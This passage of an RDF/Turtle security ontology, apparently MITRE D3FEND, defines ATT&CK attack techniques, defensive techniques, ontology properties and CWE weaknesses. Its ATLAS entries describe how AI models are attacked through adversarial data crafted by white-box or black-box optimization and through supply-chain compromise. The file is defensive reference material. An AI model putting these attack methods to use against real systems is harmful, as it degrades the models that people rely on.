        d3f:CollectionTechnique,
        d3f:CredentialAccessTechnique .

d3f:T1566 a owl:Class ;
    rdfs:label "Phishing" ;
    d3f:attack-id "T1566" ;
    d3f:definition "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns." ;
    rdfs:subClassOf d3f:InitialAccessTechnique .

d3f:T1567 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration Over Web Service" ;
    d3f:attack-id "T1567" ;
    d3f:definition "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services." ;
    d3f:produces d3f:OutboundInternetWebTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetWebTraffic ],
        d3f:ExfiltrationTechnique .

d3f:T1587 a owl:Class ;
    rdfs:label "Develop Capabilities" ;
    d3f:attack-id "T1587" ;
    d3f:definition "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)" ;
    rdfs:subClassOf d3f:ResourceDevelopmentTechnique .

d3f:T1591 a owl:Class ;
    rdfs:label "Gather Victim Org Information" ;
    d3f:attack-id "T1591" ;
    d3f:definition "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees." ;
    rdfs:subClassOf d3f:ReconnaissanceTechnique .

d3f:T1592 a owl:Class ;
    rdfs:label "Gather Victim Host Information" ;
    d3f:attack-id "T1592" ;
    d3f:definition "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.)." ;
    rdfs:subClassOf d3f:ReconnaissanceTechnique .

d3f:T1598 a owl:Class ;
    rdfs:label "Phishing for Information" ;
    d3f:attack-id "T1598" ;
    d3f:definition "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code." ;
    rdfs:subClassOf d3f:ReconnaissanceTechnique .

d3f:T1636 a owl:Class ;
    rdfs:label "Protected User Data - ATTACK Mobile" ;
    d3f:attack-id "T1636" ;
    d3f:definition "Adversaries may utilize standard operating system APIs to collect data from permission-backed data stores on a device, such as the calendar or contact list. These permissions need to be declared ahead of time. On Android, they must be included in the application’s manifest. On iOS, they must be included in the application’s `Info.plist` file." ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    skos:prefLabel "Protected User Data" .

d3f:TA0004 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Privilege Escalation" ;
    d3f:definition """The adversary is trying to gain higher-level permissions.

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:

SYSTEM/root level
local administrator
user account with admin-like access
user accounts with access to specific system or perform specific function

These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.""" ;
    d3f:display-order 4 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:TA0005 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Defense Evasion" ;
    d3f:definition """The adversary is trying to avoid being detected.

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics' techniques are cross-listed here when those techniques include the added benefit of subverting defenses.""" ;
    d3f:display-order 5 ;
    rdfs:subClassOf d3f:ATTACKEnterpriseTactic,
        d3f:OffensiveTactic .

d3f:Technique a owl:Class ;
    rdfs:label "Technique" ;
    rdfs:subClassOf d3f:Plan .

d3f:UDPEvent a owl:Class ;
    rdfs:label "UDP Event" ;
    d3f:definition "An event involving the User Datagram Protocol (UDP), providing a connectionless datagram service with minimal protocol mechanisms." ;
    rdfs:subClassOf d3f:TransportLayerEvent .

d3f:URLAnalysis a d3f:URLAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "URL Analysis" ;
    d3f:analyzes d3f:URL ;
    d3f:d3fend-id "D3-UA" ;
    d3f:definition "Determining if a URL is benign or malicious by analyzing the URL or its components." ;
    d3f:kb-article """## How it works

URLs may contain components, for example:

 * scheme
 * userinfo
 * host name
 * port
 * path
 * query
 * fragment

These components are used as features in analysis algorithms.

Contextual information about a URL such as where it is embedded (ex. emails, files, network protocols), header, path, location, and origin information, as well as information about the content returned from the URL request, may be incorporated into an analytic for URL analysis. For example, if a URL indicates a .pdf file but an executable is actually returned, the combination of these two pieces of information indicates suspicious activity.

Additional techniques include:

* Extracting features of a URL such as domain name length, ratio of consecutive consonants, percentage of digits in a domain, and number of vowels. Values for each feature are combined to develop a score for the URL.
* Determining the probability of a character occurring in the URL given the preceding two characters. For example, for google.com, the probability of a 'g' occurring at the beginning of a word, the probability of an 'o' occurring after a "g, the probability of an o" occurring after a 'g' and "o, and so forth. A dictionary or a list of known good domains is used to determine probability. Probabilities are multiplied to develop a score for the URL.

URL analysis may trigger follow-on analytics such as **File Analysis**

## Considerations

* Volume of URLs being analyzed, combined with the speed at which they are analyzed
* Fidelity of analysis technique at detecting brand new URLs versus analyzing URLs of established domains""" ;
    d3f:kb-reference d3f:Reference-MethodAndApparatusForDetectingMaliciousWebsites_EndgameInc,
        d3f:Reference-MethodAndSystemForDetectingRestrictedContentAssociatedWithRetrievedContent_SophosLtd ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:URL ],
        d3f:IdentifierAnalysis .

d3f:UnixLink a owl:Class ;
    rdfs:label "Unix Link" ;
    d3f:definition "A Unix link is a file link in a Unix file system." ;
    rdfs:subClassOf d3f:FileSystemLink .

d3f:UnsupervisedLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Unsupervised Learning" ;
    d3f:d3fend-id "D3A-UL" ;
    d3f:definition "Unsupervised learning creates relationships with unlabeled data without the input of a human or other outside actor. Uses only input data. " ;
    d3f:kb-abstract """## References
Unsupervised learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Unsupervised_learning).""" ;
    rdfs:subClassOf d3f:MachineLearning .

d3f:UserGeolocationLogonPatternAnalysis a d3f:UserGeolocationLogonPatternAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Geolocation Logon Pattern Analysis" ;
    d3f:analyzes d3f:NetworkTraffic ;
    d3f:d3fend-id "D3-UGLPA" ;
    d3f:definition "Monitoring geolocation data of user logon attempts and comparing it to a baseline user behavior profile to identify anomalies in logon location." ;
    d3f:kb-article """## How it works
Geolocation data for each user logon attempt is collected and used to create a baseline user behavior profile. Current geolocation logon data is then compared against the user behavior profile. Logon activity that deviates from normal patterns and can help in identifying situations that may be indicative of a remote attacker using stolen credentials. For example:

* logons from locations that are different from where a user usually logs in
* logons from a location in which an enterprise has no users located
* logon that is not physically possible given the elapsed time since a logon from another location.

## Considerations
* Potential for false positives from logon anomalies that are not associated with malicious activity.
* Attackers may not differentiate their logon behavior enough to trigger an alert.""" ;
    d3f:kb-reference d3f:Reference-MethodAndApparatusForNetworkFraudDetectionAndRemediationThroughAnalytics_IdaptiveLLC,
        <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-System,Method,AndComputerProgramProductForDetectingAndAssessingSecurityRisksInANetwork_ExabeamInc> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:UserBehaviorAnalysis .

d3f:UserSessionInitConfigAnalysis a d3f:UserSessionInitConfigAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Session Init Config Analysis" ;
    d3f:analyzes d3f:UserInitConfigurationFile ;
    d3f:d3fend-id "D3-USICA" ;
    d3f:definition "Analyzing modifications to user session config files such as .bashrc or .bash_profile." ;
    d3f:kb-reference d3f:Reference-CAR-2020-09-002%3AComponentObjectModelHijacking_MITRE,
        d3f:Reference-CAR-2020-11-011%3ARegistryEditFromScreensaver,
        d3f:Reference-IdentificationAndExtractionOfKeyForensicsIndicatorsOfCompromiseUsingSubject-specificFilesystemViews,
        d3f:Reference-RegistryKeySecurityAndAccessRights ;
    d3f:synonym "User Startup Config Analysis" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:UserInitConfigurationFile ],
        d3f:OperatingSystemMonitoring .

d3f:UserToUserMessage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User to User Message" ;
    d3f:definition "Personal message, private message (PM), direct message (DM), or personal chat (PC) is a private form of messaging between different members on a given platform. It is only seen and accessible by the users participating in the message." ;
    d3f:has-recipient d3f:UserAccount ;
    d3f:has-sender d3f:UserAccount ;
    d3f:may-contain d3f:Email ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Personal_message> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-recipient ;
            owl:someValuesFrom d3f:UserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-sender ;
            owl:someValuesFrom d3f:UserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:Email ],
        d3f:DigitalMessage ;
    skos:altLabel "Personal Message",
        "Private Message" .

d3f:VirtualAddress a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Virtual Address" ;
    d3f:definition "A virtual address in memory is a pointer or marker for a memory space that an operating system allows a process to use. The virtual address points to a location in primary storage that a process can use independently of other processes." ;
    d3f:synonym "Logical Address" ;
    rdfs:isDefinedBy <https://www.techopedia.com/definition/9934/virtual-address-va> ;
    rdfs:seeAlso <https://dbpedia.org/page/Virtual_address_space>,
        <https://en.wikipedia.org/wiki/Memory_address#Logical_addresses> ;
    rdfs:subClassOf d3f:MemoryAddress .

d3f:VirtualizationSoftware a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Virtualization Software" ;
    d3f:definition "Virtualization software allows a single host computer to create and run one or more virtual environments. Virtualization software is most often used to emulate a complete computer system in order to allow a guest operating system to be run, for example allowing Linux to run as a guest on top of a PC that is natively running a Microsoft Windows operating system (or the inverse, running Windows as a guest on Linux)." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Category:Virtualization_software> ;
    rdfs:subClassOf d3f:ServiceApplication .

d3f:WebApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Application" ;
    d3f:definition "An application which is delivered by a web server over HTTP protocols that is presented to a client web browser." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Web_application> ;
    rdfs:subClassOf d3f:ServiceApplication ;
    skos:altLabel "Web App",
        "Web Application" .

d3f:WebFileResource a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web File Resource" ;
    d3f:addressed-by d3f:URL ;
    d3f:definition "A web file resource is a file resource identified by a Uniform Resource Identifier (URI) and made available from one host to another host via a web protocol and across a network or networks." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:addressed-by ;
            owl:someValuesFrom d3f:URL ],
        d3f:NetworkFileResource,
        d3f:WebResource .

d3f:WebServer a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Server" ;
    d3f:definition "A web server is server software, or hardware dedicated to running this software, that can satisfy client requests on the World Wide Web. A web server can, in general, contain one or more websites. A web server processes incoming network requests over HTTP and several other related protocols. While the major function is to serve content, a full implementation of HTTP also includes ways of receiving content from clients. This feature is used for submitting web forms, including uploading of files." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Web_server> ;
    rdfs:subClassOf d3f:Server .

d3f:WindowsNtAllocateVirtualMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtAllocateVirtualMemory" ;
    d3f:definition "The NtAllocateVirtualMemory routine reserves, commits, or both, a region of pages within the user-mode virtual address space of a specified process." ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory> ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPIAllocateMemory .

d3f:WindowsNtCreateThreadEx a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtCreateThreadEx" ;
    rdfs:subClassOf d3f:OSAPICreateThread .

d3f:WindowsRegistryValueEvent a owl:Class ;
    rdfs:label "Windows Registry Value Event" ;
    d3f:definition "Events representing actions performed on Windows Registry values, which store configuration data within registry keys." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/win/registry_value_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:WindowsRegistryValue ],
        d3f:WindowsRegistryEvent .

d3f:communicates-with a owl:ObjectProperty,
        owl:SymmetricProperty ;
    rdfs:label "communicates-with" ;
    d3f:definition "x communicates-with y: x and y exchange signals or data bidirectionally, enabling mutual awareness, coordination, or interaction." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:disables a owl:ObjectProperty ;
    rdfs:label "disables" ;
    d3f:definition "x disables y: The technique or agent x makes an entity y unable to perform its actions or capabilities." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00513267-v> ;
    rdfs:subPropertyOf d3f:evicts,
        d3f:may-disable,
        d3f:modifies .

d3f:has-member a owl:ObjectProperty ;
    rdfs:label "has-member" ;
    rdfs:subPropertyOf d3f:d3fend-kb-object-property ;
    owl:inverseOf d3f:member-of .

d3f:implements a owl:ObjectProperty ;
    rdfs:label "implements" ;
    d3f:definition "x implements y: The entity x realize entity y by putting its design or specification into effect." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:may-execute a owl:ObjectProperty ;
    rdfs:label "may-execute" ;
    d3f:definition "x may execute y: The subject x might take the action of carrying out (executing) y, which is a single software module, function, or instruction." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:mediates-access-to a owl:ObjectProperty ;
    rdfs:label "mediates-access-to" ;
    d3f:definition "x mediates-access-to y: The entity x controls and brokers requests to reach entity y, enforcing the access rules that allow or deny it." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:member-of a owl:ObjectProperty ;
    rdfs:label "member-of" ;
    rdfs:subPropertyOf d3f:d3fend-kb-object-property .

d3f:process-data-property a owl:DatatypeProperty ;
    rdfs:label "process-data-property" ;
    d3f:definition "x process-data-property y: The process x has the data property y." ;
    rdfs:subPropertyOf d3f:d3fend-artifact-data-property .

d3f:queries a owl:ObjectProperty ;
    rdfs:label "queries" ;
    d3f:definition "x queries y: The entity x requests information or data from entity y." ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-query .

d3f:terminates a owl:ObjectProperty ;
    rdfs:label "terminates" ;
    d3f:definition "x terminates y: The technique x brings to an end or halt to some activity y." ;
    d3f:synonym "aborts" ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00353480-v> ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/00354493-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:evicts .

d3f:AML.T0008 a owl:Class ;
    rdfs:label "Acquire Infrastructure - ATLAS" ;
    d3f:attack-id "AML.T0008" ;
    d3f:definition """Adversaries may buy, lease, or rent infrastructure for use throughout their operation.
A wide variety of infrastructure exists for hosting and orchestrating adversary operations.
Infrastructure solutions include physical or cloud servers, domains, mobile devices, and third-party web services.
Free resources may also be used, but they are typically limited.
Infrastructure can also include physical components such as countermeasures that degrade or disrupt AI components or sensors, including printed materials, wearables, or disguises.

Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation.
Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services.
Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0008> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Acquire Infrastructure" .

d3f:AML.T0010 a owl:Class ;
    rdfs:label "AI Supply Chain Compromise - ATLAS" ;
    d3f:attack-id "AML.T0010" ;
    d3f:definition """Adversaries may gain initial access to a system by compromising the unique portions of the AI supply chain.
This could include [Hardware](/techniques/AML.T0010.000), [Data](/techniques/AML.T0010.002) and its annotations, parts of the AI [AI Software](/techniques/AML.T0010.001) stack, or the [Model](/techniques/AML.T0010.003) itself.
In some instances the attacker will need secondary access to fully carry out an attack using compromised components of the supply chain.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0010> ;
    rdfs:subClassOf d3f:ATLASInitialAccessTechnique ;
    skos:prefLabel "AI Supply Chain Compromise" .

d3f:AML.T0043 a owl:Class ;
    rdfs:label "Craft Adversarial Data - ATLAS" ;
    d3f:attack-id "AML.T0043" ;
    d3f:definition """Adversarial data are inputs to an AI model that have been modified such that they cause the adversary's desired effect in the target model.
Effects can range from misclassification, to missed detections, to maximizing energy consumption.
Typically, the modification is constrained in magnitude or location so that a human still perceives the data as if it were unmodified, but human perceptibility may not always be a concern depending on the adversary's intended effect.
For example, an adversarial input for an image classification task is an image the AI model would misclassify, but a human would still recognize as containing the correct class.

Depending on the adversary's knowledge of and access to the target model, the adversary may use different classes of algorithms to develop the adversarial example such as [White-Box Optimization](/techniques/AML.T0043.000), [Black-Box Optimization](/techniques/AML.T0043.001), [Black-Box Transfer](/techniques/AML.T0043.002), or [Manual Modification](/techniques/AML.T0043.003).

The adversary may [Verify Attack](/techniques/AML.T0042) their approach works if they have white-box or inference API access to the model.
This allows the adversary to gain confidence their attack is effective "live" environment where their attack may be noticed.
They can then use the attack at a later time to accomplish their goals.
An adversary may optimize adversarial examples for [Evade AI Model](/techniques/AML.T0015), or to [Erode AI Model Integrity](/techniques/AML.T0031).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0043> ;
    rdfs:subClassOf d3f:ATLASAIAttackStagingTechnique ;
    skos:prefLabel "Craft Adversarial Data" .

d3f:AML.T0048 a owl:Class ;
    rdfs:label "External Harms - ATLAS" ;
    d3f:attack-id "AML.T0048" ;
    d3f:definition """Adversaries may abuse their access to a victim system and use its resources or capabilities to further their goals by causing harms external to that system.
These harms could affect the organization (e.g. Financial Harm, Reputational Harm), its users (e.g. User Harm), or the general public (e.g. Societal Harm).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0048> ;
    rdfs:subClassOf d3f:ATLASImpactTechnique ;
    skos:prefLabel "External Harms" .

d3f:ATLASAIAttackStagingTechnique a owl:Class ;
    rdfs:label "AI Attack Staging Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0001 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "AI Attack Staging Technique" .

d3f:Action a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Action" ;
    d3f:definition "An Action is a deliberate operation or activity performed by an entity." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-agent ;
            owl:someValuesFrom d3f:Agent ],
        d3f:Event .

d3f:Application-basedProcessIsolation a d3f:Application-basedProcessIsolation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application-based Process Isolation" ;
    d3f:d3fend-id "D3-ABPI" ;
    d3f:definition "Application code which prevents its own subroutines from accessing intra-process / internal memory space." ;
    d3f:isolates d3f:Process ;
    d3f:kb-article """## How it works
Some applications implement logic to permit or deny a particular subroutine access to other data within the same applicaition process. This is intended to prevent critical application process data from being tampered with.

### Application-based Process Isolation in web browsers.

Isolation in browsers usually is designed with the following architectural mindset:
* Sandboxes and web resources should not be allowed to access each other because compromise of one should not effect the other.
* The principle of least-privilege should be followed when browsing.
The following aspects help make browser-based process isolation possible:
* Same Origin Policy
* Separate tabs and iframes use their own DOMs (cross-site document object models always run as a different process)
* CORS ensures cross-site data is not delivered to a process unless the server allows it
* Cookie and local data storage is separated by domain/site
* Separate execution environments (threads)

## Considerations
- Using isolation in browsers does mitigate and protect by default some types of attacks (e.g. renderer attacks and access to the filesystem) but it depends on correct configuration of CORS, use of valid/appropriate certificates.
-  Application-based Process Isolation may increase memory footprint.
-  Application-based Process Isolation may decrease application performance.""" ;
    d3f:kb-reference d3f:Reference-PrivateApplicationAccessWithBrowserIsolation,
        d3f:Reference-ProtectingWebApplicationsFromUntrustedEndpointsUsingRemoteBrowserIsolation,
        d3f:Reference-SiteIsolationDesignDocument ;
    d3f:restricts d3f:Subroutine ;
    d3f:synonym "Browser-based Process Isolation",
        "Remote Browser Isolation",
        "Sandbox" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:Subroutine ],
        [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:Process ],
        d3f:ExecutionIsolation .

d3f:ApplicationConfigurationDatabase a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Configuration Database" ;
    d3f:contains d3f:ApplicationConfigurationDatabaseRecord ;
    d3f:definition "A database used to hold application configuration data." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ApplicationConfigurationDatabaseRecord ],
        d3f:ConfigurationDatabase .

d3f:ApplicationConfigurationFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Configuration File" ;
    d3f:contains d3f:ApplicationConfiguration ;
    d3f:definition "A file containing Information used to configure the parameters and initial settings for an application.. A plist file is an example of this type of file for macOS.  Usually text-based." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ApplicationConfiguration ],
        d3f:ConfigurationFile .

d3f:ApplicationInstallationEvent a owl:Class ;
    rdfs:label "Application Installation Event" ;
    d3f:definition "An event representing the installation of an application onto a system, making it available for use and interaction." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:SoftwareDeploymentTool ],
        d3f:ApplicationEvent .

d3f:BroadcastDomainIsolation a d3f:BroadcastDomainIsolation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Broadcast Domain Isolation" ;
    d3f:d3fend-id "D3-BDI" ;
    d3f:definition "Broadcast isolation restricts the number of computers a host can contact on their LAN." ;
    d3f:filters d3f:LocalAreaNetworkTraffic ;
    d3f:kb-article """## How it works
Software Defined Networking, or other network encapsulation technologies intercept host broadcast traffic then route it to a specified destination per a configured policy.

This can be implemented within hypervisors, networking hardware (WAPs, switches, routers), or virutal hardware.

## Considerations
This technique is highly dependent on network infrastructure and networking requirements.""" ;
    d3f:kb-reference d3f:Reference-BroadcastIsolationAndLevel3NetworkSwitch_HewlettPackardEnterpriseDevelopmentLP,
        d3f:Reference-PrivateVirtualLocalAreaNetworkIsolation_CiscoTechnologyInc ;
    d3f:synonym "Network Segmentation" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:LocalAreaNetworkTraffic ],
        d3f:NetworkIsolation .

d3f:CWE-1059 a owl:Class ;
    rdfs:label "Insufficient Technical Documentation" ;
    d3f:cwe-id "CWE-1059" ;
    d3f:definition "The product does not contain sufficient technical or engineering documentation (whether on paper or in electronic form) that contains descriptions of all the relevant software/hardware elements of the product, such as its usage, structure, architectural components, interfaces, design, implementation, configuration, operation, etc." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1164 a owl:Class ;
    rdfs:label "Irrelevant Code" ;
    d3f:cwe-id "CWE-1164" ;
    d3f:definition "The product contains code that is not essential for execution, i.e. makes no state changes and has no side effects that alter data or control flow, such that removal of the code would have no impact to functionality or correctness." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-1176 a owl:Class ;
    rdfs:label "Inefficient CPU Computation" ;
    d3f:cwe-id "CWE-1176" ;
    d3f:definition "The product performs CPU computations using algorithms that are not as efficient as they could be for the needs of the developer, i.e., the computations can be optimized further." ;
    rdfs:subClassOf d3f:CWE-405 .

d3f:CWE-1419 a owl:Class ;
    rdfs:label "Incorrect Initialization of Resource" ;
    d3f:cwe-id "CWE-1419" ;
    d3f:definition "The product attempts to initialize a resource but does not correctly do so, which might leave the resource in an unexpected, incorrect, or insecure state when it is accessed." ;
    rdfs:subClassOf d3f:CWE-665 .

d3f:CWE-162 a owl:Class ;
    rdfs:label "Improper Neutralization of Trailing Special Elements" ;
    d3f:cwe-id "CWE-162" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-172 a owl:Class ;
    rdfs:label "Encoding Error" ;
    d3f:cwe-id "CWE-172" ;
    d3f:definition "The product does not properly encode or decode the data, resulting in unexpected values." ;
    rdfs:subClassOf d3f:CWE-707 .

d3f:CWE-203 a owl:Class ;
    rdfs:label "Observable Discrepancy" ;
    d3f:cwe-id "CWE-203" ;
    d3f:definition "The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not." ;
    d3f:synonym "Side Channel Attack" ;
    rdfs:subClassOf d3f:CWE-200 .

d3f:CWE-226 a owl:Class ;
    rdfs:label "Sensitive Information in Resource Not Removed Before Reuse" ;
    d3f:cwe-id "CWE-226" ;
    d3f:definition "The product releases a resource such as memory or a file so that it can be made available for reuse, but it does not clear or \"zeroize\" the information contained in the resource before the product performs a critical state transition or makes the resource available for reuse by other entities." ;
    rdfs:subClassOf d3f:CWE-212,
        d3f:CWE-459 .

d3f:CWE-295 a owl:Class ;
    rdfs:label "Improper Certificate Validation" ;
    d3f:cwe-id "CWE-295" ;
    d3f:definition "The product does not validate, or incorrectly validates, a certificate." ;
    rdfs:subClassOf d3f:CWE-287 .

d3f:CWE-404 a owl:Class ;
    rdfs:label "Improper Resource Shutdown or Release" ;
    d3f:cwe-id "CWE-404" ;
    d3f:definition "The product does not release or incorrectly releases a resource before it is made available for re-use." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-59 a owl:Class ;
    rdfs:label "Improper Link Resolution Before File Access ('Link Following')" ;
    d3f:cwe-id "CWE-59" ;
    d3f:definition "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource." ;
    d3f:synonym "Zip Slip",
        "insecure temporary file" ;
    rdfs:subClassOf d3f:CWE-706 .

d3f:CWE-628 a owl:Class ;
    rdfs:label "Function Call with Incorrectly Specified Arguments" ;
    d3f:cwe-id "CWE-628" ;
    d3f:definition "The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-573 .

d3f:CWE-642 a owl:Class ;
    rdfs:label "External Control of Critical State Data" ;
    d3f:cwe-id "CWE-642" ;
    d3f:definition "The product stores security-critical state information about its users, or the product itself, in a location that is accessible to unauthorized actors." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-662 a owl:Class ;
    rdfs:label "Improper Synchronization" ;
    d3f:cwe-id "CWE-662" ;
    d3f:definition "The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes." ;
    rdfs:subClassOf d3f:CWE-664,
        d3f:CWE-691 .

d3f:CWE-666 a owl:Class ;
    rdfs:label "Operation on Resource in Wrong Phase of Lifetime" ;
    d3f:cwe-id "CWE-666" ;
    d3f:definition "The product performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-672 a owl:Class ;
    rdfs:label "Operation on a Resource after Expiration or Release" ;
    d3f:cwe-id "CWE-672" ;
    d3f:definition "The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked." ;
    rdfs:subClassOf d3f:CWE-666 .

d3f:CWE-675 a owl:Class ;
    rdfs:label "Multiple Operations on Resource in Single-Operation Context" ;
    d3f:cwe-id "CWE-675" ;
    d3f:definition "The product performs the same operation on a resource two or more times, when the operation should only be applied once." ;
    rdfs:subClassOf d3f:CWE-573 .

d3f:CWE-681 a owl:Class ;
    rdfs:label "Incorrect Conversion between Numeric Types" ;
    d3f:cwe-id "CWE-681" ;
    d3f:definition "When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur." ;
